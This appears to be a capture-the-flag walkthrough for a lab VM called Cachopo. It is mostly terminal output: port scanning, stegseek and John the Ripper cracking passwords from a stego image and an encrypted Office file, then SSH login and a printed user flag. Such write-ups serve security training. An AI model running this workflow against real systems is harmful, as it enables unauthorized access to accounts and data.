4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.937 seconds (132.16 hosts/sec). 4 responded ❯ ip=192.168.60.131 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Scanning ports faster than you can say 'SYN ACK' [~] The config file is expected to be at "/home/ctf/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.131:22 Open 192.168.60.131:80 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-02 19:09 CST Initiating ARP Ping Scan at 19:09 Scanning 192.168.60.131 [1 port] Completed ARP Ping Scan at 19:09, 0.06s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 19:09 Completed Parallel DNS resolution of 1 host. at 19:09, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 19:09 Scanning 192.168.60.131 [2 ports] Discovered open port 22/tcp on 192.168.60.131 Discovered open port 80/tcp on 192.168.60.131 Completed SYN Stealth Scan at 19:09, 0.03s elapsed (2 total ports) Nmap scan report for 192.168.60.131 Host is up, received arp-response (0.00060s latency). Scanned at 2025-01-02 19:09:05 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:FF:D8:91 (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.30 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
StegCracker has been retired following the release of StegSeek, which will blast through the rockyou.txt wordlist within 1.9 second as opposed to StegCracker which takes ~5 hours.
StegSeek can be found at: https://github.com/RickdeJager/stegseek
No wordlist was specified, using default rockyou.txt wordlist. Counting lines in wordlist.. Attacking file 'image.jpg' with wordlist '/usr/share/wordlists/rockyou.txt'.. Successfully cracked file with password: doggies Tried 4428 passwords Your file has been written to: image.jpg.out ❯ cat image.jpg.out el directorio es mycachopo 目录是mycachopo
给了一个提示，访问mycachopo目录，有个文件
down下来发现是个已加密的CDFV2文件
爆破一下，得到密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
❯ office2john Cocineros >hash ❯ john hash Using default input encoding: UTF-8 Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 256/256 AVX2 8x / SHA512 256/256 AVX2 4x AES]) Cost 1 (MS Office version) is 2007 for all loaded hashes Cost 2 (iteration count) is 50000 for all loaded hashes Will run 4 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Warning: Only 14 candidates buffered for the current salt, minimum 32 needed for performance. Almost done: Processing the remaining buffered candidate passwords, if any. Proceeding with wordlist:/usr/share/john/password.lst horse1 (Cocineros) 1g 0:00:00:02 DONE 2/3 (2025-01-02 19:33) 0.4048g/s 4969p/s 4969c/s 4969C/s helene1..jamesbond1 Use the "--show" option to display all of the cracked passwords reliably Session completed.
❯ ssh [email protected] The authenticity of host '192.168.60.131 (192.168.60.131)' can't be established. ED25519 key fingerprint is SHA256:TwxUt/2Cw+RBXmkw35lCwjyjcXY9BpomAJBscsWYUC4. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.60.131' (ED25519) to the list of known hosts. [email protected]'s password: Linux Cachopo 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Mon Jul 15 11:44:31 2024 from 192.168.1.41 carlos@Cachopo:~$ ls user.txt carlos@Cachopo:~$ cat user.txt df24ed3c0e0c0ffa94ff3f5bd4b577d7
